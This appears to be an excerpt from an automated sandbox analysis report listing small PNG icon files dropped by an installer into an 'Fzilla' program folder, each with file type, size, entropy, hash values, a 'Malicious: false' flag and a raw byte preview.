Encrypted:	false
SSDEEP:	6:6v/lhPflNqAANg2T+/VYBFX0hlVf7zEjs2FzffPYNdp:6v/7/ncTFHX0hTEjJR3PYNz
MD5:	D024C1DAD2299A850DD999210210CA53
SHA1:	BCE2CCAE92B36F6CDBEF6A6AD0A8335467E7AB1F
SHA-256:	B1D5DBB7AAD95066A0840E603F82EB7F29D09439CF5A148DF30E3CD0D5527B95
SHA-512:	141DEA32F37B77AFC0D135F6AC08BCF0F1F5AFA278CEF5D2FC7AD681783128AFC63EA561F10A8891147956EF812B69B38185EE39A3360CAFB28561B6214D8FEA
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...?PLTE.......B.H.%...~.........-.......q..q......~....d..~V.BQ....tRNS.@..f...QIDATx^..G.. .....n/.?.H.)........pQ_.=V:l]....6....n}.0.1<.....I7..F...:(8#..G......6I.q....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	245
Entropy (8bit):	6.697087897627219
Encrypted:	false
SSDEEP:	6:6v/lhPCtmVMLVq4hFmDFFYC+qKF0DzZrYV/wfbKXfp:6v/7INVq6F03Yvyvfbm
MD5:	E69DDF7AF6005A76C8A177C0B3556FD3
SHA1:	33A58656D5BB574A4D84F6D50F1829E21624F4B0
SHA-256:	E7916A860DDCB853922631780B95B9E0A4A017EB96C4191B404C56DFE7BD1DDE
SHA-512:	B53A51728D37AD283A10F22F8B88CC19CB49BD02BFACC22DA7A23737FCB7F2639703985521EE8AEAE885FB3EED908F1A01AD2CF576E434812354FA7FEAB02A7A
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c`........,.>......Y`...v.q.........S....X.....Y...`C&.5...........2.u'.;..p;.hH.....y?.4.>^.......]X....^.?^....V..; C.`....\|8i......KnA..6..%Lp.p..h...%...A..y..%X...x......s.....6g....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	277
Entropy (8bit):	6.759722232738163
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtYxzG/w2PXGaglT/QCWWWZCtqDyMIzGO89dE8rnbp:6v/7uNpQzQG7OFQJ8sIzGOU1
MD5:	80FBDF824F1570176A0B6294452E5D93
SHA1:	080B426047F3ABC70489437CCA67690EA170F872
SHA-256:	4BC9F7B25AFCB1E34308CC4DCC21E70AB139648DC8526FB06100965D83CBF8E4
SHA-512:	6092B3BE2C696513192286F5DDAE48D22B2B65262C6C9596299CDCBD433917923D1DF2C7CF4AC513D3CE012C06C2FC865F997D3572563ED82BCC5D003F460DC5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O"...'.<..Mz... ...._>..2..v.#..k..~.>.2.5\|y.......8...".....a...}...W.Ap......a.'.....A....4.N.....s.=.'....J8H... {..n#....a.o........>..N........S.....+6.GM?......J.H.B.p.*@....~D......{........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	360
Entropy (8bit):	7.302846014752738
Encrypted:	false
SSDEEP:	6:6v/lhPW3bdUdW2OOp+uKfFCXq1EoujBdafDvC6zjgvuZLrLaXkuNRHLzOeep:6v/7MNduKf+qaoeQDK0gvuZLreXHzbM
MD5:	38F7CDE82901278A2140FBEF28BABE4A
SHA1:	E6982F14483950ED729453C884B6697B3BC88891
SHA-256:	EBDF04DCF41ECF5641AACCE965275D2C4C8CA473E2300E986BDC9ACF9E9A9151
SHA-512:	027223BBD8BDD9976F5E71C051FAA8393133F45F997DBEB9ABCDEA76B4C9AF4D256D5758B7322B895CA6BBD076B03E30B3259BD84DC27093E0714BABAC733529
Malicious:	false
Preview:	.PNG........IHDR................a.../IDATx..R.AGq.o.l.I."O....1..7..m.B..S.r.......O....B..B>.f@d.....<(<...h@..M.m...9..kxNT #...I.6..e..:.$......Tc.i..7.u.\|0B.......>.(.}_'.....Eu..w...@..[.F.X...uJ.. ..wW.?^C}.M.n.)QQ......~..'..1X.......0...`+.Y...}.3..'.O<.a...h.Q.M.,....3..j.\..?.zuB.@.\.....1.m.Tp..mU.b....o.G....Q..#..X........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-1AB52.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	275
Entropy (8bit):	6.763272539860218
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtC01NitUXT2JygeUDWrzIdXDZ+4HSF4lthup:6v/7uNpQzC01NitUXT2MgsolFyylzc
MD5:	EB40D1EB8B7425F6996ADD48915746BD
SHA1:	0DAE7CF917F1B8113C155A60E88EB83F9B085770
SHA-256:	809F073C5C3B0BC82192536DD2A0D6F5B4DC18535D8B4018D0B0911558FE80F1
SHA-512:	3118283C9DDA19A22F9FBC2694207B57C50585B513A0EED3E6700E60425BBC6E584AC8C4CB7980BC3B4286F212F6F92E24019DC0D61E571AE5597B80DC2AA5B2
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.b.O"..>...F....!.5..d....6....6hC".(0...T....1..lV7.. B.)......z8A#..>.g.....\|~.?8.Gh2G..."bp..v.hp....7.U..-w<.=..]7.""..e...S.4xY.W(....O.....R.\.]nK.C..9............r...d~^1......h@.....aU{h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-2DK55.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.39550370859088
Encrypted:	false
SSDEEP:	12:6v/7uNpQlktGQ5FWuoKcqH6UPdxLTNr/4BGFZdfHuVT10s:nT4MAu/76Uf1/4BLVh0s
MD5:	A5DBA22BD5B2DB3D7CB458975836EA6B
SHA1:	A4FD0465B101463248B38CCD68FF64F0B9F32899
SHA-256:	13AF05EED207A88E66D98DBBF58062CAA0F940BDB31A8A761D498B60D3CE744C
SHA-512:	B8BE64EB4FDACBBD999031EE5AFA8F35F2F754555E5914BA05FE1F2E1B5D208342364771A9B2703B5FA48EE426D339AA8AC2E036E8F4E98592E12B5688C9D164
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx...C.cQ.....M....M4c{.e?.gmD.m.....<..../...`9FE..H.....Jp=$*.7....^+...]...j.......r..q.t_K.l....o-Ug...-g.-......_.-....<...B.T....\|%.......l.zn.........w..@........S.c....{...-.K..Zj......P.m.8.q..^......]O.0..j..y.<...[0.]:>..}......8.j...h..f.@.v@.0%....t...............:....2a.....[....}...xX..u.y.X....].P.qpy.P.I..vm.O8...9.c..@...%..-.$3.cpz.... ..Q.}....mN.....h......7L.....%...M......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-3LE39.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	546
Entropy (8bit):	7.4628257710734465
Encrypted:	false
SSDEEP:	12:6v/7uNpQ5m+lqmazIALrYRzOvfomzZyiHEVlAiC5/wj7C3+:nTWmA+zo63xHBj54qO
MD5:	66701BD8596312113E0042F0D730B45F
SHA1:	0F146138E66E86B5714E5615E6AC8EEF29042F57
SHA-256:	BFAEA2A65007C0EAE72F778E471D7F024CC00469FF0F087BCEAE338DA190717F
SHA-512:	89AB5F6C1A1816EBCB6B969616F9891B3FBAE5D047C8BCA90444681A30172667D54CFC5BAB8739E8D9D3A33A6695A5634DB2B0815B0F7E8559006AA64EFB4DDA
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx....rdQ...s{..Z[i&......6.z..V!.Y... .yc4.........).j.....u.N^e<..o6...P.._.])y.[.........~.q!.].7J....b....E..7)G.R._......\....5..o+UX.....@..x$I[......l.Z....R.P.....Z.2..yk..R....)....(...T..B....Wj... @.v.`.....;..../.>2.6....P.T...........)..M..}......L......>a..(..h...r.....OrWt..O.f@...G.......f...%..m..:Z.ac.z..0..h#M......(.V..Hx.M..R....cf"<\|.0.....?....#.E.w.w....t<.z.`...$..t...j.4...!..F.i......M...Z.......[..{.....w......'..h'K......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-4B27L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.704219760640863
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3l52RzZV7qWDHDzUHNyOoHTkup:6v/lhPoVnUrgTbp
MD5:	0B2ABEB72B48D34FDB051107A873F246
SHA1:	2F27AF9574F775CE2798C5836B73169A0AECC61E
SHA-256:	B1FACD3651A831DB0B013C41C68A287FA0BEA4C871D2A19DDC63451F22391209
SHA-512:	F44381BBD62D9C99C902E526C0C9EDC1FF316244D541556ABCF183B52928C6D8530494DFDD94E2DD72774A3E4FE88F06D3B40EBDA0D8F7710211CD836957ED0C
Malicious:	false
Preview:	.PNG........IHDR................a...FIDATx.c`...{..R0....L......0H-N.b&m..2... ...]`\|../...F...E.Da............g=....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-4M3AG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	124
Entropy (8bit):	5.7031717489459455
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lyFhDmkolERqglE94kWk/WDNF4OILll/Vp:6v/lhPiFhDmkVA4ktOIxl/Vp
MD5:	86616009BCB357544B0056012333E23B
SHA1:	574A6A7249E7B2FBEB343438A956A14786EA9FF2
SHA-256:	83940C38223C617478A6BE4993298CACE9A60657DCB3B48ABED9EB4892CE80BC
SHA-512:	AD95EAEC6CB16443D1B2DEDEA930C66B17EA017D1368E992E82697BBFEFF91EF963E7B9F7D08802B8389971ED27247D1AF7EA8C68C5B995A6B8CAA629F3C2709
Malicious:	false
Preview:	.PNG........IHDR................a...CIDATx.c...D&.....a.......6....&l.H..4'\|...80.f'BA....j&h \. ......n.4.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-4Q203.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.833808023352445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lalOV9Yf3pqllQ0pn1BdbDXvG0NQVFfEpflyoDCl/ljp:6v/lhPql33UllHtDXvG0Ngepso6dp
MD5:	806DC11465F984DF1BB17F449B626AFE
SHA1:	AC7910B3708342E10AECA283176C10B2AD04D077
SHA-256:	6408D2F47E8D61039FB16701C38DCC604D3F9819FB54EE8D8B24A4F5A5A9F59F
SHA-512:	542E5B95381FF2D6A5DAD47BA609B99C15307990CF88A9367411CF7936CD906FA0105DE3CA86BE433CE9CEDBC7258E7FCB81DDD13720A76D2AA471BCCB80D0F1
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx.c...+p.......dh...0..l/.1!....?.a.....b..\|.d.nLP..20....8.0....F1..!...Dl :.....z..5.~.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-857TJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	207
Entropy (8bit):	6.442663049885758
Encrypted:	false
SSDEEP:	6:6v/lhPmJwPd/chkGX2FY6bOIM43J22CtgHrrD/Wdp:6v/7OiPlchkGmFVbOwQgDk
MD5:	65C2A73ECD3447EABF03082C934EE5F7
SHA1:	AFE1D0408000C047A2E3DA32179E68E833EB5F7D
SHA-256:	76A825581BC97A70767B23C2B7C024DB5F2BFCFA296411ABAE2D8592EFA88D2D
SHA-512:	A05BCC9553E7A99A190596C467173F13D5BC323937204BF9122906E16D38C1EA0E7ACFDF1145D82608551F1907E12A044A0A79BD6F1335538D18CFAF784B3885
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..v..8....IDATx.b...MK...!..QeM.+..8.%.NW...../.hm.1.?...i........G....M....)...=.^.1....J_,.....!G....'...d$$Eb....13.r...).....o..""....;...L.<.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-8S9U1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	480
Entropy (8bit):	7.3935707713424605
Encrypted:	false
SSDEEP:	12:6v/7URlqI5Nj2xE+U2TpA5f7sggppbIpbp/QjWCqML3E2tzwMYwaYMr4BBF:5RnYxE+1TpAB4ggy6j5uZ9Vrg
MD5:	D911483C65C7556F06D90057BDB5AD6C
SHA1:	B21741EEB1F8360C4B9737033B700F4C57892C77
SHA-256:	1260048FCF3FD414BD68C61EAF281A3746C4CF29AF0DFBAC1BA6E0290C18F150
SHA-512:	5D297CBA7E6D0885184935C2F16437FA2CB64B3415179F925EF649A23F2168E0218E06C560ED0A980CDE860836856C515FFD94614ADDC1F6B2F0D6C92A89A01B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..R%..a...j..WoZoV?T.\.j...........8fftY.en..0w_r9ED...1X..,......t.^.Yn...71...Z.........:H.n.j...fC.[R..d...."....cL..M....@..K....,\|.N....e...&....i2.j@..o.1T.{R..i..;\|...q.....wB>....<........~.j.E.......Si.6.V..c z...u.A...R%;.>.d..@d!.....M>.!.s...<.......o..AC.;.N'...C..I......w..W..y.B.;L.'...U.K.H..F..-..G\|.>......[.#.....L.e.+_..s.qw.HDP......I..].U....I.9].-.". `..z@..Tz..-..Y.......!.fe.$.?'k..8......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-989FT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	360
Entropy (8bit):	7.302846014752738
Encrypted:	false
SSDEEP:	6:6v/lhPW3bdUdW2OOp+uKfFCXq1EoujBdafDvC6zjgvuZLrLaXkuNRHLzOeep:6v/7MNduKf+qaoeQDK0gvuZLreXHzbM
MD5:	38F7CDE82901278A2140FBEF28BABE4A
SHA1:	E6982F14483950ED729453C884B6697B3BC88891
SHA-256:	EBDF04DCF41ECF5641AACCE965275D2C4C8CA473E2300E986BDC9ACF9E9A9151
SHA-512:	027223BBD8BDD9976F5E71C051FAA8393133F45F997DBEB9ABCDEA76B4C9AF4D256D5758B7322B895CA6BBD076B03E30B3259BD84DC27093E0714BABAC733529
Malicious:	false
Preview:	.PNG........IHDR................a.../IDATx..R.AGq.o.l.I."O....1..7..m.B..S.r.......O....B..B>.f@d.....<(<...h@..M.m...9..kxNT #...I.6..e..:.$......Tc.i..7.u.\|0B.......>.(.}_'.....Eu..w...@..[.F.X...uJ.. ..wW.?^C}.M.n.)QQ......~..'..1X.......0...`+.Y...}.3..'.O<.a...h.Q.M.,....3..j.\..?.zuB.@.\.....1.m.Tp..mU.b....o.G....Q..#..X........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-A13AA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	302
Entropy (8bit):	6.707035762300667
Encrypted:	false
SSDEEP:	6:6v/lhPfMcINYO2vEXyjdyVCgEbMUGAll/hKxS7sM1eSfDI5Ys1Ad9Xzp:6v/7Z7sCjhcu/hKosbUO+dP
MD5:	ACF0B5DD79A6E543CB868A816D3A07FE
SHA1:	0546FF0B9709EB466C3A0C4FB1BC9CD1B413500E
SHA-256:	F7FAAF7EDE3CA7BDB0BF0D77F19FD010E59EE30B8118A700ADD8B8CF13F2506C
SHA-512:	F76F41C037170116323102CAAE289DD09CC06F321A29C52F895AC49BC98EDA4B8A9677BDC850F0FAFC7D7568157C4DA39EBCAF2ACD4758B34F6632539F065CD9
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE.......B.Ht='.........?..J..W..d.R4...fA.......d..d.....q..q..r..~..~..~......J..V..5....>..V.5.8....tRNS.@..f...vIDATx.U.U.. .CQ.W.6..M....9...*.f.....YB^x}....t..).p.m.a?.e...a...V..P.}.f.....o..#.Ih.#...Ygh.p.......:..e....J.?.j.b..^.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-AINJJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	194
Entropy (8bit):	6.446368816929445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNhTcgASjKWpyjoxUl776Kgc8i3MzDQ1nGEBG02up:6v/lhP9hTDASbhUl/6FLk8Cp
MD5:	0E2BFFD4BDFE5A992268C493AD21C92C
SHA1:	667F7EDB30A816FEDD5AC544E30CD0E94C6364D1
SHA-256:	5111661D61CFDA750D19E7DE4243A6A996178FBE98501C2C5C604A17FF0B67A8
SHA-512:	C4064F8676D89C8CBE2BE87A6E7CF3478E829F90C3B705A4FB075FBC0972FFCC6A41259601583ABD68D93F12889A59D8C5FEAC47FA6749339A1B92EFFE9D5825
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..n.t..C....1....3.N.('].(.....Y.I.....;.....B.ZcZ.Tw.7WA'.......;.....\;l...1HA...E...~].w....g...LR..$.d@.W..>.....J.r...;#..:...VZ.q.w....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-C4PO8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	286
Entropy (8bit):	6.516672130396907
Encrypted:	false
SSDEEP:	6:6v/lhPfyL7nxJdebSowiyotXhp7GstKvBILkO5fcE6V5KTp:6v/7o7rdzoY4Xhp7Gs4Qlhcr5s
MD5:	0A26CE3CE82CEBF58455C26A9CC8C4E6
SHA1:	1B271A71A9F915DEFE99EE048925425F15BE472A
SHA-256:	B2B5A8102F51DF20748227CBFF5A9E12C788EE71F74628A97223D2A8F4A808C7
SHA-512:	E1EC824394EB9E7C4A6A3B52AF145529B06BDB51B2A84779A65A3A7C2E2195BB7573FF9423EB7A61FBBE30881E0BC04270A82250EDE59833F6056E6475A6A2AF
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE....i............}.............B.................................................U.f....tRNS.@..f...{IDATx.U....P.E..4....N.xi.(Y.k.......a\|]keE.d.Y~.d^..h.WN.u.Dm....uZh$...m.1"._......_n..U^....R.........!...."......7...J.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-CBJDE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.866829815207507
Encrypted:	false
SSDEEP:	6:6v/lhPSj7SFLdjYnHyRxFJwhsYLSdSyypSKIr++/bp:6v/7qodjWQQGRKt+9
MD5:	481C496B10838B0985C58162733C0F15
SHA1:	1DE798D52F600431BE816FE434D63BD1B3509BDC
SHA-256:	5A9C5658CC4B82DCDB423D580054103C6AC7A40A93ACE1D141DA70C00E51EBD1
SHA-512:	02C1085A775028BAD027AAF8408C9AE1364CA794CC5AC54821A2DDD0A8DD70C489DD4CDA669D81AD16C489AE15F177A0DB9BA2460A06FA5721881EACD76338DA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....a.0.EO.....`.......g..?C-..z.$:n......g..-..>.n...Z&'..k...L..._Y?<3.6.b..W......3.k.\"A......O......`...I..w.`u.g......=aC.0.W.]N..Klt~x...7..Y.........H..f=....e......`............=.RR.`.[.as...?.^..Q.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-F1LO5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	226
Entropy (8bit):	6.428633105572263
Encrypted:	false
SSDEEP:	6:6v/lhPflNqAANg2T+/VYBFX0hlVf7zEjs2FzffPYNdp:6v/7/ncTFHX0hTEjJR3PYNz
MD5:	D024C1DAD2299A850DD999210210CA53
SHA1:	BCE2CCAE92B36F6CDBEF6A6AD0A8335467E7AB1F
SHA-256:	B1D5DBB7AAD95066A0840E603F82EB7F29D09439CF5A148DF30E3CD0D5527B95
SHA-512:	141DEA32F37B77AFC0D135F6AC08BCF0F1F5AFA278CEF5D2FC7AD681783128AFC63EA561F10A8891147956EF812B69B38185EE39A3360CAFB28561B6214D8FEA
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...?PLTE.......B.H.%...~.........-.......q..q......~....d..~V.BQ....tRNS.@..f...QIDATx^..G.. .....n/.?.H.)........pQ_.=V:l]....6....n}.0.1<.....I7..F...:(8#..G......6I.q....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-F3FER.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	328
Entropy (8bit):	7.066917297198438
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDth42ycCqMpRVkXrfCr/8iE5c6JS4OG/56hbn+XePup:6v/7uNpQzhRCJ2Xrfuywhbntc
MD5:	0BB0DE6B3E559B082358BAA36963D09C
SHA1:	672A797FA418B6BD03047FB3C7C82AD9791BD352
SHA-256:	B1EAD50B331051C8BD05834B9F828DB981934A92850EB80AA2749337728C7258
SHA-512:	F6C5474BE710C084BC8C93FE8AB46052C67533A3952F27535252B89A5B8F04C9194A56432A3D3B0CDBA4855478EBBFFFDB913439BB00AA6F9E402D998697ED8C
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx...._.Q....]KX.m...\kX.....z...w\|......:...c.................f..w#.....e...d...$.1{N....r.ZIR.)j5...Q.g...H.I.\.......d+T;......$..$..P}....\TC4B.@.A...a4.[...g.Z..K.q>/.."...0...j.....8-.y5.. n.!.H..Ka.[.F..d.q.r\..q.....&.....P+~.k.Z..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-HJJRO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.316989679243467
Encrypted:	false
SSDEEP:	12:6v/7uNpQK4MToGp9HzBeUDbCj+b5XMLErs094dnq4:nTmw/zBvbCuMws0wq4
MD5:	3E33267FA0F6AB1BAA7512E44C432610
SHA1:	0B2C28F9882520EC162F7878E11C714B2A4B80FE
SHA-256:	27634804AC1D3513B661B41FA04A33AC8689E80347F2AD1A2848B25975101394
SHA-512:	B71DECB9EE3B9510B329BEDE5BA2D98FAAE4CBE111C7F599018C7D4F889BB0F463624F604AB72C19001219E240B19A9483E8FB5AC02D9B0EC9108B182B53F215
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O".i.}.~0.m..;...0.......~......G..NCh.=g........w...}.r..)..?~....w.~....a.;.+7.....[.P.=.c.e...._.k.3w:P..O.K..f.[....f.\|.r....5.n=z..a.,..Kw]-.~X5i...\|....C...-...?..a.@....B..lz..+.E....-..Z........S=.B..g....r.-..q.{...a..@.o>~+.r.-`.o.B..QKX\|.{Vn.r..?..5...../.-........\..#.c.i..3.^`j....D7........wU..M].......y....?P==w.._.......F .x.3.......J...(..0.H......Y.`...dj....k....r....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-HN29P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	321
Entropy (8bit):	6.731862752490998
Encrypted:	false
SSDEEP:	6:6v/lhPfMcJO9pToTWZXhynYaUMp/FE7v+F5br6uuAMcIIgZtPH9p:6v/7rJO9aiZhgEg/FEyF5br62Mcrg/Pz
MD5:	1C919B44BB21DB7B15736F380503FED3
SHA1:	61AFEC3FC34F3C222EC52B6679C2210A7E77363B
SHA-256:	1117E4F7B7B88E0DAEC3C27076788ED31216A5C02C7301D02312E8A3C9E4CC9B
SHA-512:	3041C2682210570C857EF1C8BB5FE9A1CEE4A81D73EB7A4359CA9197D0587AE91FA0E8F6E1AA8DA3EF46070BCA362047C6463F6C9F51E7E0E30B65FF9234B3B1
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...fPLTE...aaa...kkk```...jjj.>.....................lll.........xxx......ttt..................www.........vvv.:.....tRNS.@..f....IDATx.ML...1.k2.Zg...k..Fj.....V..y....T0.^.g#..c\|f. .......8.4M........M...MK8..\..1....B..ju.].........H.1.3..kS(+...+.2.ZY.".:......^J.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-J48TD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	155
Entropy (8bit):	5.7759352116421105
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/V1lQm8UenRLIT/oVZpBS8js9aJmp+tljp:6v/lhPfVvQmF4VITW3A9aUQTp
MD5:	34C636AE220B1D3E367DFE06BAFC91E9
SHA1:	DB3D89CAD6070B8ED004DEEE893B6B9B3637FD34
SHA-256:	A4AF127C014532AC9DAEAB45212ABF75C2053F9641C3DF77DB1E8697D1A63247
SHA-512:	3D8D620F1F50808BB4D42C1DA8A802E16CF03B7A8C4412B9BF0466A4020EF52FF390ED9FF611828B633B4B452E6A2AE3E14AD63D883CDCD0CED8C1E9A0796F71
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE.......i...B..?1..H....tRNS.B.A....9IDATx.....0..8...M...U$cC.L...p...FF..2..@.....J....g....a4.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-JJT6T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	167
Entropy (8bit):	6.132608765486688
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lJu4Rdj5xEjqeplU87lSPm/Zj41xmz31iOg3/lH1p:6v/lhP/5x4pll+m/ZjU3Z3tVp
MD5:	EBE775CC3289F84FFC82B81583CE11C9
SHA1:	96E5F11375E3E52CB1B9BBDA794F6D2B4BC4901B
SHA-256:	F133AE3DEEEB584B6C5AB7E2FA74DFAEF9AB4C48D7F25127EA854BB14CF5C9BA
SHA-512:	D63D505C6D2BC6A4EF35F8F4F10CA51900BB6C5B6C644557FF6CDF80DDC7A7AA5ABBB68A0CF699EBFFC066F924F79AF235E63D9FCAE1C0A6AF2832E05D643D89
Malicious:	false
Preview:	.PNG........IHDR................a...nIDATx.c.*.s....I..#..Sv..8 M...'..........{....9.4..........0.!$...-.+.....sA......F]P..(..x..d....r.J......U..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\cyril\16x16\is-JQM4N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.980276220238739
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/NM+TNS8GDRbI0trnU3eGYMHTDFH4qUVtt9i9eup:6v/lhPfPMpIGnUYMHTDFYqUR/up
MD5:	D0351FFBFCE212DF95D53C7E32C20DB2
SHA1:	9755C68DB479CD2A181624E8F010F193EA7E2BE2
SHA-256:	F85E2C8403D2D89A5A93455C4D1E1DDE6EFA0F23A43A1AD3E0DECA8514AE973B
